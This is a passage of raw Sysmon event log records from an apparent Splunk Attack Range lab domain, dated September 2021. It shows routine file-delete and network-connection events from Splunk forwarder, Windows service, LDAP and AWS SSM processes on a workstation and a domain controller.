Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80416E1C2D40E825604506773FC23574,SHA256=21156F260EF34F16F10B6486033E0DB059764F5F81176415A3CD86B921D12640,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016118Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:49.487{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50267-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016117Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:51.191{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F21AC6EF00627384B34D1597C851C65,SHA256=07D15510852CE9AC7A34275C6745FEA86BF73BE463C14BF8092EC3A536B3B4FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:52.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=408C3AE259484C17C0915F2FDE2696CF,SHA256=5B43395CCA2F71B63413912BB66836CD55511C339C29E685AEB1C9C0B423D67D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016119Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:52.238{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75922B2A41516D71B03B425131CF25C2,SHA256=22C5A5C128AE28F169171242659380E81EABC7E34A32D36EA1E73BF1E3C02DE9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:53.627{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3939BA0296FCE90E14D3E26E1AB090EB,SHA256=9A94691E6069627B6BF9B5AC7D859066EFAB749420D89238CA84A108AA803208,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016120Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:53.254{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A78564AC214250E3A06FBA13834EB33C,SHA256=FBA53BD021EA72BBE3149ED39AE1025011E270B5C08915A9E876C2376546164B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:54.877{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=41DC73DA60DCBF582696DD7CFC97E36C,SHA256=95BC0D2160EA1B95D1802C3E6F5E20BFC73A0A5F662E5CCF7EF8672B2553AC27,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016122Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:54.973{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016121Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:54.285{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6716A66EE5566C982C269C872156EFC6,SHA256=459BD1A39F526BBF1D739758382DE6528CB2C4CFDEC2796B6887E714AE6105C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:55.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52B45E79AC9CBA62C986E1B891487146,SHA256=E00EA0E22FA436DCCD78522EBC1C8B7E0A6AC417A525ADD4243C9369DCBDF7C7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:53.418{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59470-false10.0.1.12-8000- 23542300x800000000000000016123Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:55.332{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA811C2755FA5BF1A770EBA6E9988509,SHA256=B93E08B4E6E75960452E2DDD307C1F8B27EC081B894F8A329EE354805CE05E56,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016124Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:56.410{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD11327FC5E222A8A8726324D1A51A95,SHA256=A3169D1EDD028BC38B83904B2F0C652C2ED4E2814A6BCF574B7FC3AC03521A75,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016127Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:55.483{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50269-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000016126Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:55.280{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50268-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000016125Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:57.426{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AEACA1E24739BFC0E36422124B0D3B01,SHA256=E259F9FE7A0018181464251931B6969B1582964D731D321F83CB04179B3E2E37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:57.127{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C323578C15C86B25D23F0E3012608F5,SHA256=6A202F2C25DA635D52AF7319BCCE412A1DF912552AF0F597AD6B233AFC73D88E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016128Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:58.442{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3307EBE1D8531EC9E3855CA97DAF7F06,SHA256=7F53AD60572AAC3571BC3C50B2664B667B8C94A28B3AB028599558440F9EA0D7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:58.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D0DCE84DA87AEF8606F2700CB003349A,SHA256=C8B2141DA1D3D8E91C0B15211879B649DD206993C4B5F41624A1E2C015D11122,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:59.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E7C2D41302011F08E289DA1180B45518,SHA256=30257917D2F75A2F8EB6490B14C6F494AF92A306053F9669CE9F9D17F965C7A3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:59.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=47136E642CCBBF69E7468FD18ECE5CF8,SHA256=37AD0C5FAA59EF7D013158DBF0EA455F5CAB8A96CE723244203C713C507A49CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016129Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:59.457{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A57CA451352E5A04DB974621BCD66E8,SHA256=4EA51DBB9572301E2C1A6219AAFDFA7645F4796EB89F9E14C7DFCBA50DD21B37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:59.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=087D39E6FAB19B7F49CDBEB5800D0065,SHA256=D9D4B127EAB9F0E1077653F08A7CD242044737A8546AA8D4FB5CB2A6E4E1EC37,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016130Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:00.520{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4C1E8AC2713C4F8BA86A452C7B8DA5E,SHA256=DE5B35A56DE097E9E2565955238B018E45B566450B4E785D40EC2C52D6D2D372,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:00.237{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00658C6AA83757F366B61E8667C01F5B,SHA256=069F7328D020A5DA26C65F50AB45A65E05BCF19E284E03367FE6C89DC011FD8B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:57.622{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59471-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:57.622{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59471-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000016131Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:01.535{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E92640D96E5985F78D857B64A737499,SHA256=B07B4D2027F457DFBB29FD56E68248216FA5AE2A730360E5A02C56B2FA4B29E6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:01.268{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7038C9E05054AAC568D570C76EAFEF8D,SHA256=B7FA72CCC0CFBED7DD25D15D038466BA38FABFC0956100F8B5FADEA4375DA021,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:58.434{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59472-false10.0.1.12-8000- 23542300x800000000000000016133Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:02.582{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10D3C9D444E16FF6584E8BC376EE4C43,SHA256=03184E57EE501B4990679CED4A8FDCB10CBC0E3BBE208A66B5A9268B98422753,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:02.284{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=737063751B814B9DAE1680032C4FF1DE,SHA256=BE2BD3B02FE4FD93840EE6CB7ACCBC33A6CFDB4CA1916CBA4C2B056FCE79A4F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016132Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:02.285{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=1538964ECE86A077F04263924150C44A,SHA256=08A50EF7EC7CBDAFF9B59E75A2EA6CB49FBFD429F92BC2B11374947F4B8CF733,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016135Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:01.530{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50270-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016134Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:03.629{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D9EE1B73D2C5E3E56A49A194DD8850B,SHA256=B1A6AF582BB9FD07A32F34874B3012E0C1B9B8C7FCD1B9CCC2CD5CEAC32CEBB1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:03.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBBEF8B84A661958B5045A076A30AF0A,SHA256=D65D136C88542D174BA56E378B5231BA2E04C30A14200E518A8C30FF1FAD7A92,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016136Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:04.629{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82A6A54FC889C837474B3C508A711E13,SHA256=30F66FBF6B63DBC448F7C50F0B120546A6BAD8AEE3D1BFEEF3C48B9CA3B0E7EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:04.882{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-051MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:04.330{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=05275F8CAF4E8EE4D1381416447B4D76,SHA256=795DE6ABAF9976B491BE83C78F85CFC65ABE97D9B58456F81EFDBB894645B0A6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016137Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:05.644{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C01FCEC5F1025A1451C5782C8C726BF,SHA256=E3DDCBC61D9ED10E393B248FFD57EB12525565F0BF16EDEC7CD4A99D1E8F7E2D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:05.897{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-052MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:05.411{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6AA4DC1525679474AADCCE9E1701C0B,SHA256=8E740A3ED910B487B35E88644A6118929456323C8561C8B37E9890E0C10EBBB2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016138Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:06.738{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3006E8EF8294995A58A2148A726B9809,SHA256=800548D6BD440DD829D42EBAA99ECA280253414D74445BF74014CA71624B7BC8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:06.413{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B5DE8A46AC16E523563C5BC1EAFC89B,SHA256=D6418923DE43B15FA1E5107DE6166A88DAF4F393EE3AE698FB745063074D9A60,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:07.632{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17805BAF993F45E997986C8401CCC793,SHA256=2B2FA6FBE568BE3D9D63D27A3AA92623C1FC0AA87CFB863EC9649397D4FE1F8B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016139Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:07.785{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=64448A13D020AD4B2309740944D4694C,SHA256=8D8EDC602C8522A857C5BEC3D291A3DC23A62ACFF4D3653268F5F4B0D79C7A60,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:04.405{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59473-false10.0.1.12-8000- 23542300x800000000000000016140Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:08.816{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9205C2A446726DFD38E91DC2DBD8ED46,SHA256=A76ED594D6BD3192D869DA22F1E98B36979205526924BC80C7ADFB0B2F6EDDE7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:08.820{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3DB4FC5DC16E5681F7D4ADF43E132CC,SHA256=5A7FF64914FA678BCB870A4AEBE0311EBA82C880136FBE31ADE42BFAD87C3380,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016142Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:09.818{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D3F28DACED71F714856ACB4530EA7E9,SHA256=C99E7F5FCFA9BE79407B8F92F89CAB88352B12AC4F5BD79EFA0F1AAE261C3C79,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:09.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D9BD0E036308C626B574172E74C85B37,SHA256=7DF95A8A332A48384F4CFAA0B8F7577DE3B2A376C4E8AA4B2FE9567E4AB3019D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016141Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:07.389{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50271-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016144Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:10.820{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67147C9721788DA56363FF393EEF2ED4,SHA256=F48EBB2C91A443E10BAC1F14BDEAC87AF7863B852F6B44307CAAF7FA890A7C5B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:10.835{7BD73061-665D-613B-E700-00000000F001}2764NT 